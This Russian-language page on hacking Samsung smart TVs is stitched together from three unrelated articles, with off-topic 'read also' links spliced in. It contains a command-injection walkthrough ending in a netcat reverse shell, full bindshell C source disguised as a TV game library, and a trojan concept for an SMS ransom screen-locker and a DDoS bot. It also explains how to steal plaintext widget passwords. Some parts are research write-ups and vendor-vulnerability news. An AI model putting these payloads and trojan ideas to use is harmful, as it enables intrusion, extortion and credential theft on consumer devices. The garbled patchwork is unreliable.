0

Как взломать самсунг смарт тв

Это был один из обычных ленивых вечеров, когда я смотрел телевизор после длинного трудового дня.

Автор: Sven Morgenroth

Это был один из обычных ленивых вечеров, когда я смотрел телевизор после длинного трудового дня. Несмотря на то что чувствовалась усталость, я продолжал размышлять об уязвимости, найденной в роутере, который мне одолжил приятель. Нахождение брешей в подобного рода устройствах всегда является забавным мероприятиям, поскольку вскрываются детали, доступные лишь разработчикам и, возможно, службе технической поддержки.

Поскольку на тот момент я был очень уставшим, то намеревался лишь поставить таймер автоматического выключения и прилечь. Однако во время установки таймера меня заинтересовал вопрос, есть ли скрытые функции в меню настроек телевизора, доступные только разработчикам и службе поддержки. После непродолжительных поисков в Гугле в моем мобильном телефоне я обнаружил, что в этой марке телевизоров предусмотрен код, открывающий скрытое меню.
После повторного открытия настроек я ввел код при помощи пульта управления, и в левом стороне экрана появилось еще одно меню. Практически все категории были недоступны. Я смог только активировать режим «Hotel Mode» и посмотреть версию телевизора.

В тот момент мне захотелось получше узнать свой телевизор. Среди настроек была категория «info», открыв которую я увидел другие номера и версии. Затем мое внимание привлекла возможность, позволяющая назначить имя телевизору.

Уязвимость в Smart TV

При работе в сфере информационной безопасности постоянно приходится тестировать полезные нагрузки в различных полях ввода. К примеру, это может быть параметр GET-запроса, используемого веб-интерфейсом роутера, панели управления нового принтера или, как в моем случае, телевизора. Мне показалось, что будет забавно, если у телевизора будет имя «sleep 5».


Рисунок 1: Параметр для назначения имени телевизору

После ввода полезной нагрузки через пульт управления и сохранения результатов, меню с настройками замерло на некоторое время. Когда телевизор вернулся к жизни я изменил значение параметра, чтобы была возможность добраться до других пунктов меню. В тот момент я еще не догадывался, что нашел нечто похожее на уязвимость, связанную с внедрением команд. На самом деле замирание телевизора на несколько секунд после изменения настроек не являлось чем-то странным. Однако задержка на столь долгое время вызвала у меня любопытство.

Время замирания было намного больше чем 5 секунд. Возможно, все дело было в одиночных кавычках, и телевизор, не ожидая подобных входных данных, выдавал ошибку с целью предотвращения загрузки этих символов. Я попытался повторить эксперимент и ввел `sleep 0`. На этот раз все загрузилось моментально.

Происходило нечто не очень понятное, и я решил измерить время ответа в зависимости от значения параметра функции sleep. Выяснилось, что время замирания меню телевизора всегда в три раза дольше, чем значение этого параметра:

  • sleep (2) – 6 секунд
  • sleep (3) – 9 секунд
  • sleep (5) – 15 секунд

Запуск команд в телевизоре

Я не мог поверить, что смог внедрить команду после первой же попытки. Замирание меню не было стопроцентным доказательством и в целом не столь полезно, если мы ведем речь об эксплуатации уязвимости. В моем распоряжении был 31 символ (минус две одинарные кавычки), полезная нагрузка должна быть не более 29 знаков.

Ниже показан список команд, которые я пытался запустить в моем телевизоре. Напротив каждой команды дается пояснение и результат запуска (успешно/неудачно).

Команда

Описание

Количество символов

Успешный запуск

`which nc && sleep 2`

which – команда в Linux, возвращающая путь к приложению (если приложение существует)

&& sleep 2 – заморозка меню на 3*2 секунды, если после выполнение команды which найдена утилита nc (в телевизоре)

`which ssh && sleep 2`

Проверка, присутствует ли утилита ssh

`which wget && sleep 2`

Оказалось, что присутствует утилита wget

`cat /etc/passwd && sleep 2`

Проверяем, доступен ли файл /etc/passwd на чтение. Оказалось, что да (было бы очень странно, если нет)

`cat /etc/shadow && sleep 2`

Если у нас есть права суперпользователя, файл /etc/shadow доступен на чтение. Проверяем, есть ли у нас права суперпользователя. Однако файл оказался недоступным для чтения.

`ls /etc/shadow && sleep 2`

Получаем объяснение, почему файл /etc/shadow не доступен на чтение. Этого файла не существует.

Далее нужно было подсоединить телевизор к ноутбуку через сетевой кабель, но уже сейчас я был доволен тем, что у меня получалось запускать команды в телевизоре лишь при помощи пульта управления.

Получение доступа к шеллу в телевизоре

Мой телевизор крепится к стене, и подключить сетевой кабель оказалось не так просто, как может показаться на первый взгляд. Преодолев некоторые сложности, мне все же удалось подключить кабель к телевизору с одной стороны и к ноутбуку с другой. Далее при помощи утилиты ipconfig я выяснил IP-адрес ноутбука.


Рисунок 2: Сетевые параметры ноутбука

После выяснения IP-адреса ноутбука мне лишь нужно было организовать обратный шелл. Таким образом, не нужно было знать IP-адрес телевизора. Кроме того, обратный шелл удобен тем, что позволяет обходить любые правила фаервола, которые блокируют входящие соединения. Однако перед тем как начать думать о том, как получить шелл, используя 29 символов, я решил по подробнее изучить систему.

Использование Netcat в телевизоре

После того как выяснилось, что в телевизоре есть утилита nc, я решил перенаправить результаты работы определенных команды через nc на мой ноутбук. Первой командой, естественно, стала id, при помощи которой нужно было выяснить, есть ли у нас права суперпользователя в системе телевизора.

Рисунок 3: Результат выполнения команды id

Как видно из рисунка выше, права суперпользователя у нас есть. Сей факт не столь примечателен, но тем не менее. Далее мне захотелось узнать содержимое корневой директории / при помощи команды `ls -la /|nc 169.254.56.216 5`.

Рисунок 4: Содержимое корневой директории

Отлично. Однако у меня до сих пор не было полноценного шелла для выполнения команд. Все возможные варианты не проходили проверку на длину и были не слишком полезными. Однако поскольку версия nc, установленная в телевизоре, поддерживала флаг –e, мне удалось организовать обратный шелл при помощи команды `nc 169.254.213.210 5 -e sh`.


Рисунок 5: Обратный шелл для выполнения команд в телевизоре

Теперь, когда у меня был полноценный шелл, я захотел увидеть результаты своей работы на экране телевизора. Здесь существует несколько возможностей. Например, смена логотипа при загрузке или изменение иконок приложений. Поскольку у меня был Smart TV, уже было установлено несколько программ, например, Youtube и Skype.

Рисунок 6: Приложение, предустановленные в телевизоре

Я заметил, что большая часть файловой системы была доступна только для чтения, и мне не удалось поменять логотип. Однако там были часто меняющиеся картинки, например, рамки превью, которые можно наблюдать при переключении каналов телевизора. Эти превью содержат снимки программ, идущих в тот момент, когда мы переходим в канал. Совершенно очевидно, что данные картинки сохраняются в месте, доступным для чтения и записи файлов.
Иконки хранились в файлах .png. Для получение полного списка файлов с расширением .png я воспользовался командой find / -name *.png, однако среди результатов не оказалось файлов, имеющих отношения к картинкам превью. Я проделал тот же самый трюк с файлами .jpg и заметил имена наподобие channelImage123.jpg. После загрузки нужных файлов и замены файлов, в имени которых содержится строка channelImage, я получил следующий результат.

Читайте также:  Виды экструдеров 3d принтеров


Рисунок 7: Экран телевизора с обновленными картинками

Ваш телевизор не настолько умен, как вы думаете

Устройства, подключенные к интернету, могут иметь уязвимости в самых неожиданных местах. Там, где вы ожидаете меньше всего. Когда я тестировал команду sleep, то даже не мог и представить, что мой трюк сработает. Первоначально я решил провести свой эксперимент от скуки. Кроме того, я понятия не имел, что мой телевизор работает по управлением ОС Linux, и был еще больше удивлен, что найденные бреши пригодны к эксплуатации.

Данную уязвимость нельзя эксплуатировать удаленно, хотя что-то подсказывает мне, что я был прав, когда решил не подключать свой телевизор к интернету и не использовал продвинутые функции слишком часто. Я бы не ощущал себя комфортно с мыслью о том, что кто-то может управлять моим телевизором.

Предполагаю, что существует более интересные методы и бреши, пригодные для эксплуатации. Однако, думаю, не стоит добавлять седых волос в том момент, когда телевизор замирает, и ты думаешь, вышло ли устройство из строя или нет. В конце концов, телевизор предназначен для расслабления, а не для повышения кровяного давления, за исключением тех случаев, когда вы смотрите спортивные мероприятия. Например, футбол.

Подписывайтесь на каналы "SecurityLab" в Telegram и Яндекс.Дзен, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.

Содержание статьи

Взлом встраиваемых систем и, в частности, различной бытовой техники — это очень интересная тема и перспективное направление. Сегодня я покажу тебе это на примере телевизора Samsung LE650B. Все в этом телеке почти стандартно — GNU/Linux, BusyBox, — но чтобы получить к нему доступ, мне пришлось изрядно потрудиться.

Наши задачи

Первым делом нужно обозначить конкретные задачи, которые я перед собой ставил. Главная задача — исследовать телевизор и осуществить локальный взлом: получить полный доступ к кишкам нашего телека и разобраться с тем, как он функционирует на уровне ОС. Побочная задача — поразмышлять на тему трояна для зомбоящика и прикинуть, как подобный трой мог бы выглядеть.

Подключаемся

Первичный осмотр телевизора показал, что на борту устройства есть Ethernet-порт. Это очень важное обстоятельство, ведь если у телевизора есть сетевой интерфейс, то наверняка есть и сетевые сервисы. Выбрав ручную настройку сети, я назначил телевизору статический адрес 192.168.1.2, а своему ноутбуку – 192.168.1.1. После этого я соединил патч-кордом телек с ноутбуком и проверил связь — телевизор отлично пинговался.

Для сбора информации об открытых портах и запущенных сетевых сервисах я традиционно воспользовался сканером портов nmap:

$ nmap -A 192.168.1.2

Nmap scan report for 192.168.1.2
Host is up (0.00019s latency).
All 1000 scanned ports on 192.168.1.2 are closed
MAC Address: 00:12:FB:89:50:3E (Samsung Electronics)
OS details: Linux 2.6.14 — 2.6.16, Linux 2.6.17 (Mandriva)

Честно говоря, я и не ожидал увидеть тут открытый телнет, так что подобный результат меня не сильно обломал :). Нет открытых TCP-портов — ничего страшного. Может, UDP-сервисы порадуют?

# nmap -sU 192.168.1.2

Nmapscanreportfor 192.168.1.2
Host is up (0.00021s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
1024/udpopen|filtered unknown
1026/udpopen|filtered win-rpc
1900/udpopen|filtered upnp
MAC Address: 00:12:FB:89:50:3E (Samsung Electronics)

Засветился UPnP, уже кое-что. Эта технология является ядреной помесью HTTP и XML для связи и управления устройствами. В данном случае UPnP используется для поддержки DLNA (Digital Living Network Alliance) — технологии, позволяющей передавать различный медиа-контент по сети между совместимыми устройствами, например играть видео или музыку через Wi-Fi/Ethernet с DLNA-сервера. Отметим это обстоятельство и отложим пока UPnP в сторону, нужно завершить исследование.

Осмотр GUI

Больше всего мне хотелось получить полноценный доступ к операционной системе зомбоящика, идеальным вариантом была бы консоль с рутовыми правами 🙂

Размышляя об этом, я решил побродить по меню телевизора, вдруг там есть что-нибудь интересное? Среди различных "Галерей" и "Музыки", я нашел интересный пункт "Игры". Идея была стандартной: наверняка кроме предустановленных гамес Samsung сделал возможность установки новых игр и даже предоставил SDK для их создания. Осталось понять, как новые игры устанавливаются, а на чeм они написаны и в каком формате — не столь важно.

Само собой, играть я собрался в занимательную игру под названием bindshell. После минутного поиска я попал на Samsung AppStore. Зарегистрировавшись, я загрузил первую попавшуюся бесплатную игру. Из интересного в файле с игрой имелись: xml-файл clmeta.dat – manifest-файл, с языковыми настройками и описателями файлов игры; рядом находится game.so — sharedlibrary, в ней и лежит код запуска игры. Была еще куча файлов — ресурсы игры и прочие бинарники. Первым делом мне захотелось узнать, для какого процессора собрана игра:

$ file game.so
game.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, not stripped

Все ожидаемо — ARM! Где мультимедиа, там и эти трудяги. Просматривая информацию из этой библиотеки, вывод objdump, я заметил функцию Game_Main, которая, как оказалось, и вызывается при загрузке игры. Прежде чем писать что-то для получения доступа к системе, нужно было разобраться, каким образом игры загружаются на телевизор. Поместив директорию с файлами игры в корень флэшки (FAT32) и подключив ее к телевизору, я увидел меню автозапуска, предлагающее мне обновить ПО или же посмотреть содержимое через ContentLibrary. В ContentLibrary: источник — флешка, пункт меню — "Игра", в списке директорий — "Директория с игрой .. Воспроизвести". Готово, игра загрузилась.

Теперь таким же образом нужно запустить нашу хек-игру. Bindshell я взял самый элементарный, никаких особых выкрутасов здесь не требуется, главное — скомпилировать его как sharedlibrary и объявить функцию Game_Main().

#include
#include
#include
#include
#include
extern Game_Main;
void Game_Main()
<
int icmp_sock, shell_sock, cli;
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(1337);
shell_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
bind(shell_sock, (structsockaddr *)&sin, sizeof(sin));
listen(shell_sock, 1);
cli = accept(shell_sock, NULL, 0);
dup2 ( cli, 0 );
dup2 ( cli, 1 );
dup2 ( cli, 2 );
execl ( "/bin/sh", "sh", NULL );
>

Читайте также:  Защита дсп от воды

arm-linux-gccbindshell.c -fPIC -shared -o game.so

Запуск злокода

Для запуска бинд-шелла нужно положить в корень флэшки папку с файлами game.so (который получили на прошлом этапе)и clmeta.dat (его можно взять от любой другой игры). После этого нужно подключить флешку к телевизору и запустить игру в меню автозапуска. В качестве результата работы бинд-шелла ты должен получить черный экран на телевизоре и открытый шелл на 1337 порту. Успех работы бинд-шелла проверяется простой командой:

$ telnet 192.168.1.2 1337

Имея опыт работы со встраиваемыми системами, я сразу подумал, что в устройстве используется busybox — популярный простенький шелл с набором основных консольных утилит. Запустив эту оболочку командой busybox, я увидел традиционный help, в котором была информация об ОС и список доступных программ, включающий даже vi.

Внутренности системы

В корне файловой системы я сразу заметил кучу mtd_*-директорий: это точки монтирования блоков flash-памяти. Версия ОС как всегда на своем месте:

# cat /proc/version
[28_64_512] Linux version 2.6.18_SELP-ARM (ksh921@sp) (gcc version 4.2.0 20070514 (GPL2) (SELP 4.2.0-3.0.5.custom 2007-10-31(14:53))) #81 PREEMPT Mon Jun 22 10:10:31 KST 2009

Интересно взглянуть и на файл passwd:

# cat /etc/passwd
root::0:0:Root. /:/bin/sh

Вот так, даже без пароля. Подробнее о железе можно узнать из лога загрузки, да и вообще туда следует заглядывать всегда, помогает понять общую картину строения девайса:

Теперь интересные части лога:

CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv6TEJ), cr=00c5387f
Machine: Samsung-SDP83 Eval. Board(64bit 512MB)
SDP83 Core Clock: 600.0Mhz
SDP83 DDR2 Clock: 399.937Mhz

А телевизор оснащен неплохо: ARMv6 600Mhz, DRRII 400Mhz 512MB. Буквы "TEJ" здесь означают следующее:

  • T: Поддержка THUMB-режима процессора. В этом режиме исполняются инструкции длиной 16 бит (в нормальном режиме – 32). Режим этот нужен для оптимизации программ по размеру.
  • E: Enhanced DSP instructions.
  • J: Jazelle DBX (Direct Bytecode eXecution) — семейство замечательных технологий, разработанных компанией ARM для аппаратного ускорения выполнения Java байт-кода. В процессор добавляется специальный сопроцессор, который аппаратно преобразует байт-код в инструкции основного процессора. В результате осуществляется значительное ускорение выполнения Java-кода.

В списке процессов не было почти ничего интересного, за исключением процесса exeDSP — это управляющая программа.

Список модулей ядра:

# lsmod
rt73 354092 0xbf531000
rt2870sta 674644 0xbf48b000
usb_storage 37796 0xbf480000
ohci_hcd 18692 0xbf47a000
ehci_hcd 29992 0xbf471000
usbcore 129064 0xbf450000
usb_fault 4380 0xbf44d000
8139too 23296 0xbf446000
samdrv 3875988 0xbf092000
rfs 71688 0xbf07f000
fsr_stl 251448 0xbf040000
fsr 257756 0xbf000000

Сверху вниз: первые 2 модуля — драйверы фирменных Wi-Fi адаптеров Samsung. Компания специально убрала поддержку сторонних адаптеров, чтобы потребителям пришлось покупать "родные" карточки по высокой цене. Следующие пять модулей реализуют поддержку usb; далее идет драйвер сетевой карты; samdrv — драйвер телевизора; следующий по списку — модуль поддержки файловой системы Samsung, fsr* — модули доступа к памяти.

Файловая система

Руководствуясь данными mount, df и содержанием файла /sbin/update.sh, я собрал полезную информацию о структуре файловой системы нашего телевизора:

  • /dev/tbml6, squashfs, ro, / — корневая файловая система;
  • /dev/tbml7, squashfs, ro, /mtd_boot — содержит управляющую программу MinicomCtrl, несколько стартовых скриптов и модули ядра;
  • /dev/tbml8, rfs, ro, /mtd_exe – содержит множество файлов, в том числе управляющую программу exeDSP, драйвер samdrv.ko, библиотеки;
  • /dev/tbml9 squashfs, ro, /mtd_appdata – содержит служебные файлы;
  • /mtd_tlib — MediaContent — галерея, игры и прочее;
  • /mtd_down — содержит загруженные виджеты;
  • /dtv/usb/sd* — точки монтирования usb-flash.

Как видно, тут используются два типа ФС: squashfs и rfs. Squashfs предоставляет доступ к данным только в режиме ReadOnly, поэтому для модификации данных нужно слить дамп на внешний носитель, распаковать, изменить данные и залить исправленный образ назад на устройство.

Заметив среди точек монтирования свою флешку, я решил сдампить на нее все интересное для дальнейшего изучения и модификации. Первым делом я забрал дамп корневой файловой системы:

# cat /dev/tbml6 > /dtv/usb/sda/rootfs.img

Сдампив по аналогии все что было можно, я отправился бродить по директориям. Вот наиболее интересные места и файлы, которые я обнаружил:

  • /mtd_exe/GAME_LIB/ — SDL-библиотеки, используемые играми для вывода звукаграфики;
  • /mtd_exe/InfoLink/keyconfig — биндинги клавиш пульта дистанционного управления, при просмотре содержимого сразу видно "костыль" — биндинги к клавишам обычной клавиатуры;
  • /mtd_appdata/resourse — звуки включения (on.mp3), выключения (off.mp3), сброса до заводских настроек (factory_reset_bell.mp3) и звук, проигрываемый при тесте (self.mp3).

Распаковка

Корневая файловая система распаковывается элементарно:

А как быть с /mtd_exe? Файловая система RFS создана на базе FAT16, поэтому ничего распаковывать не требуется, нужно просто ее смонтировать:

$ mkdirmtd_exe
$ mount mtd_exe.img ./mtd_exe -o loop
$ ls -la mtd_exe

Теперь у нас есть возможность изменять любые данные внутри этих дампов: например, можно легко сменить ненавистные звуки включения/выключения устройства (/mtd_appdata/resourse) или перенастроить значение клавиш пульта ДУ (/mtd_exe/InfoLink/keyconfig).

Троян для телевизора

Речь пойдет только о концепции трояна, никакого законченного решения здесь нет. Моей целью является просто пофантазировать на эту тему и показать, как примерно может выглядеть вредоносный софт для современных телевизоров. Прежде всего, что вообще может делать такой троян? Вот сходу три годные идеи:

1. Блокиратор телевизора

Все помнят веселый замес с троянами типа Winlock. Тупой софт, блокирующий работу компьютера и предлагающий снять ограничения платной SMS’кой, позволил злым парням заработать миллионы долларов. Ничто не мешает развить эту идею на новые платформы, и телевизоры — точно не худший вариант для этого. Представь: "Телевизор заблокирован, для разблокирования отправьте sms на номер XXXX". Как ты скоро убедишься, написать такой "троян" довольно просто.

2. Рекламный трой

Идея простая — классическая adware, рекламный трой, показывающий рекламу во время просмотра телека или использования меню.

3. DDoS/спам-бот

Любой современный телевизор — это прежде всего обычный компьютер на базе Linux. И, само собой, он легко может выполнять любой привычный троянописателям функционал наподобие рассылки спама, участия в DDoS-ботнетах и так далее. Теперь расскажу, как подобные трои могут работать. В качестве примера я решил взять блокиратор: это довольно простой и показательный пример. Для вывода графики в телевизоре используется библиотека SDL. Документация к этой библиотеке есть и на русском языке. Все стартовые скрипты расположены на блоках с RO-доступом, без правки дампов не обойтись. Но есть еще один вариант — автозапуск через виджеты или игры. Не обязательно инфицировать игру, можно просто переименовать game.so, а вместо него положить рядышком wrapper с полезной нагрузкой, который в форке запустит игру, чтобы не нервировать пользователя.

Итак, принцип работы трояна. Стартовав, первым делом fork’аемся на 2 процесса: первый будет выводить графику, второй — отстукиваться на управляющий сервер. Инициализация графики в телевизоре должна проходить примерно таким образом:

#defi ne VIDEO_X 1920
#defi ne VIDEO_Y 1080
#defi ne VIDEO_BPP 32

#defi ne SCREEN_FLAGS 0
.
fl og = fopen("/dev/kmsg", "a+");
.
int init_video(void)
<
if(SDL_Init(SDL_INIT_V > <
printf(flog, "Fail with SDL_Init: %s.n", SDL_GetError());
return 0;
>
atexit(SDL_Quit);
if(!(screen = SDL_SetVideoMode(VIDEO_X, VIDEO_Y, 32, SCREEN_FLAGS)))
<
fprintf(flog, "Fail with SDL_SetVideoMode: %s.n", SDL_GetError());
return 0;
>

Читайте также:  Зачем в морге вынимают органы

Далее нужно вывести сообщение вроде "Телевизор заблокирован, отправьте SMS. ". Проще всего загрузить изображение с этим текстом, плюс можно ещe и пофантазировать вдоволь. Делается это очень просто:

int draw_image()
<
if(!(image = SDL_LoadBMP("/mtd_down/locker/fuckup.bmp")))
<
printf("Fail with LoadBMP: %s.n", SDL_GetError());
return 0;
>
SDL_BlitSurface(image, NULL, screen, NULL);
return 1;
>

Функция SDL_BlitSurface() "накладывает" загруженное изображение на экран. Графическая часть трояна готова. С сетевой частью проблем не будет — обычные сокеты, никакой экзотики.

Недостатки Internet@TV

В оболочке телевизора есть интерфейс "Internet@TV" — это своего рода каталог интернет-виджетов: AccuWether, Youtube, Twitter, Facebook. Я поставил Twitter: мне было интересно посмотреть, как тут все устроено в плане безопасности. Вбив свой логин с паролем в виджет Twitter, я зателнетился к телевизору, чтобы поискать, как хранятся пароли от моего твиттера.

Исследуя каталог /mtd_down/common, я нашел папку с многообещающим названием WidgetMgr. Внутри лежали файлы cpdata1.dat и localId.dat. Как выяснилось, именно в этих файлах и хранились в открытом виде пароли от виджетов:

# cat localId.dat
hm 1111 cpdata1.dat

Поясню немного назначение файлов: localId содержит параметры "общей" учeтной записи, по одной на строку. Формат прост — login:pin:passwd_file.

Файл c pdataN (где N — номер "общей" учeтной записи, этих файлов может быть несколько), содержит пароли к виджетам в открытом виде. Все, теперь ты можешь добавить к нашему "трояну" функционал для кражи сохраненных в телевизоре паролей от интернет-сервисов.

Реанимация устройства: консольный кабель

Перед тем как закатывать исправленные дампы файловой системы, нужно узнать, как восстанавливать девайс в случае неудачной записи. Для этого у телевизора имеется специальный разъем, выполненный под обычный 3.5-миллиметровый джек. Собственно, терминальный кабель и представляет собой аудио-кабель, у которого с одной стороны джек, а с другой – разъем RS-232.

Имеется два варианта восстановления:

Через консоль

  1. Подключаем телевизор к компьютеру при помощи кабеля.
  2. Подключаемся к телевизору с помощью любой терминальной программы.
  3. Включаем поддержку usb, запустив стартовый скрипт (нужно для usb-flash памяти):
    /lib/modules/rc.local
    Включаем поддержку NAND-памяти и файловой системы rfs:
    # insmod /lib/modules/fsr.ko
    # insmod /lib/modules/rfs.ko
    # insmod /lib/modules/fsr_stl.ko
    Стираем кривой образ, например:
    bml.erase /dev/bml0/5
    Записываем ранее скопированный, оригинальный или исправленный образ, находящийся на флэшке:
    bml.restore /dev/bml0/5 /dtv/usb/sd1/Image.img

Через загрузчик u-boot

В самых сложных ситуациях необходимо восстановление через загрузчик u-boot. Первым делом нужно зайти в сервисное меню телевизора, для чего требуется при выключенной железке быстро нажать кнопки на пульте ДУ [INFO] [MENU] [MUTE] [POWER]. Затем в пункте "Control .. Suboption .. Rs232 jack" нужно выбрать "Debug", а в меню "Control .. Suboption .. Watchdog" нужно вырубить "сторожевого пса", чтобы он не перезагружал устройство во время доступа к u-boot.

Дампы блоков памяти нужно разместить на флэшке по особым правилам:

  • файловая система на флeшке должна быть FAT32;
  • дампы должны находиться в директории /update;
  • имена дампов должны соответствовать приведeнным ниже:
    /dev/bml0/1 onboot.bin
    /dev/bml0/2 u-boot.bin
    /dev/bml0/3 uboot_env.bin
    /dev/bml0/4 fnw.bin
    /dev/bml0/5 Image
    /dev/bml0/6 rootfs.img
    /dev/bml0/7 boot.img

Теперь можно соединяться. Подключив кабель и открыв консоль, включаем зомбоящик. В консоли должен появиться лог загрузчика, а в конце — сообщение "Hit any key to stop autoboot". В меню лоадера выбираем пункт под номером 0, это запустит консоль. Для ознакомления с доступными командами можно набрать "help". Подключаем usb-флешку и сканируем устройства: bbmusb. Теперь выбираем номер блока, который нужно восстановить – например, kernelimage (4). Далее вводим имя файла, в котором содержится образ ядра (в нашем случае – "Image"), после этого начинается запись образа ядра в память. По окончании перезагружаемся и проверяем, как прошла операция.

Эксперты по вопросам безопасности из Neseso бьют тревогу относительно обнаруженной ими уязвимости в смарт-телевизоре Samsung, которую в самой компании отказались исправлять.

Уязвимость в системе безопасности связана с работой системы Wi-Fi Direct – стандарта Wi-Fi, который даёт возможность различным устройствам связываться между собой без необходимости использования точки беспроводного доступа.

Компания Smasung использует функцию Wi-Fi Direct для прямого подключения к смарт-телевизорам через мобильные телефоны, лэптопы, планшеты, минуя локальную точку доступа.

Смарт-телевизоры Samsung используют MAC-адреса для аутентификации

Эксперты из Neseso утверждают, что компании Samsung не удалось внедрить данный стандарт, поскольку телевизоры производства компании лишь используют MAC-адреса для аутентификации пользователей. Другие производители используют более надёжные системы аутентификации, основанные на нажатии кнопки (Push-Button) или введении PIN.

Тот факт, что каждый способен определять и подделывать MAC-адрес, говорит о том, что данная уязвимость открывает возможность взлома телевизора перед любым злоумышленником, находящимся в радиусе действия системы Wi-Fi Direct.

«После подключения к смарт-телевизору, злоумышленник получает доступ ко всем его функциям – таким, как служба удалённого управления и зеркальное отображение экрана DNLA», – пишут эксперты Neseso в своём отчёте.

Смарт-телевизоры можно будет использовать в качестве «точек входа» для других атак

Эксперты также утверждают, что злоумышленник может использовать доступ к телевизору в качестве точки входа в частную сеть пользователя или компании. Злоумышленник также может использовать учётную запись для сети Wi-Fi, к которой подключен телевизор, и атаковать другие устройства, находящиеся в ней.

Данная угроза вполне реальна для компаний, поскольку многие из них имеют смарт-телевизоры в своих офисах, комнатах для отдыха персонала и комнатах для заседаний.

Читайте также: Smart-шпионаж от Samsung

Самым ужасным в этой истории является тот факт, что в смарт-телевизорах производства компании Samsung функция Wi-Fi Direct активируется по умолчанию при каждом включении устройства. Пользователи видят на экранах уведомления о подключении к телевизору через службу Wi-Fi Direct устройств, внесённых в «белый список». Однако, данные уведомления могут быть неверно поняты владельцами телевизоров либо вообще остаться незамеченными в случае, если никто не смотрит телевизор в данный момент.

В Samsung не видят «угрозы для безопасности»

В середине марта эксперты из Neseso обратились в компанию Samsung с сообщением о выявленной уязвимости, однако в компании ответили, что не видят в данной уязвимости серьёзной угрозы для безопасности устройств, отказавшись выпускать обновление программного обеспечения.

В процессе изучения уязвимости эксперты из Neseso использовали версию 1480 прошивки UN32J5500 от Samsung, однако, по их мнению, другие версии прошивки также находятся в зоне риска. В настоящее время единственным способом защиты от таких атак является ручное принудительное отключение данной функции при каждом включении или перезагрузке устройства.

В апреле на Саммите экспертов безопасности 2017 эксперт Амихай Найдерман сообщил о наличии 40 нулевых уязвимостей в системе Tizen – операционной системе, которая обеспечивает работу смарт-телевизоров Samsung. На тот момент не было решений, направленных на ликвидацию данных уязвимостей.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

admin

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *